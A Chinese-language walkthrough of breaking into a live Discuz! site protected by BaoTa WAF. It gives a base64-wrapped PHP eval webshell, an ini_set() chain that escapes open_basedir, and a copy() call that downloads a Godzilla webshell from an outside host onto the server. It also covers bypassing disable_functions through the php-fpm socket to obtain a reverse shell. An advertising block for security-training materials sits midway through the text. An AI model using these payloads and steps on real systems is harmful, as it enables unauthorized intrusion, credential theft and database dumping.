这次渗透的主站是 一个 DiscuzDiscuz!3.4 的搭建 违法招 piao 网站, 配置有宝塔 WAF
用 Discuz!ML 3.X 的漏洞进行攻击,但是没有成功
现主站外链会有一个发卡网,引导人们来这充值,是 某某发卡网,而且域名指向也是主站的 ip,两个网站在同一个 ,此处忘记截图了
网上有通杀 payload,写 shell 的过程在这里省略了
【一>帮助安全学习<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记
由于网站存在宝塔宝塔 WAF ,写入 shell 必须变形一下,将命令进行 base64 编码在传进去
php
<?php @eval(base64_decode($_POST['yanshu']));?>
在 phpinfo()里可以看到,宝塔默认会设置 open_basedir 以及 disable_functions,导致蚁剑的 shell 直接连接之后不大好用,命令执行不了
绕过 open_basedir 查看文件
利用 ini_set() 来 bypass open_basedir 来获取路径名和目录内容,base64 编码之后执行,发现宝塔目录下还有其他站点目录
bash
eval("mkdir('1');chdir('1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/www/wwwroot'));");
哥斯拉管理 webshell
为了方便查看文件 ,使用哥斯拉马,加密器选择 PHP_EVAL_XOR_BASE64,用 copy 命令传到服务器中,这样流量就可以不会被宝塔
waf 拦截了
bash
copy('http://xxxx/g.php','/www/wwwroot/xxx.com/g.php');
哥斯拉马可以自动实现 bypass openbase_dir ,读取数据库 用户名密码,可以更改管理员用户进后台或者脱库
绕过 disable_functions 执行命令
disable_functions 禁用了 putenv()、mail() 、pcntl_exec() 等函数,环境是 php5.6,导致很多常规 bypass 的方法都用不了
网站是使用 nginx+php5.6 ,用攻击 php-fpm 的办法来 bypass,攻击原理可以看 参考链接
先找到 php-fpm 的配置 如:/www/server/php/56/etc/php-fpm.conf
或者看 nginx 的配置 ,得到 php-fpm 的位置 unix:/tmp/php-cgi-56.sock
首先 选择 PAttackFPM 将模块加载并执行
再利用哥斯拉马中 bypass disable_functions 的模块 ,成功执行命令
获取反弹 shell ,可以进一步尝试对主机进行提权了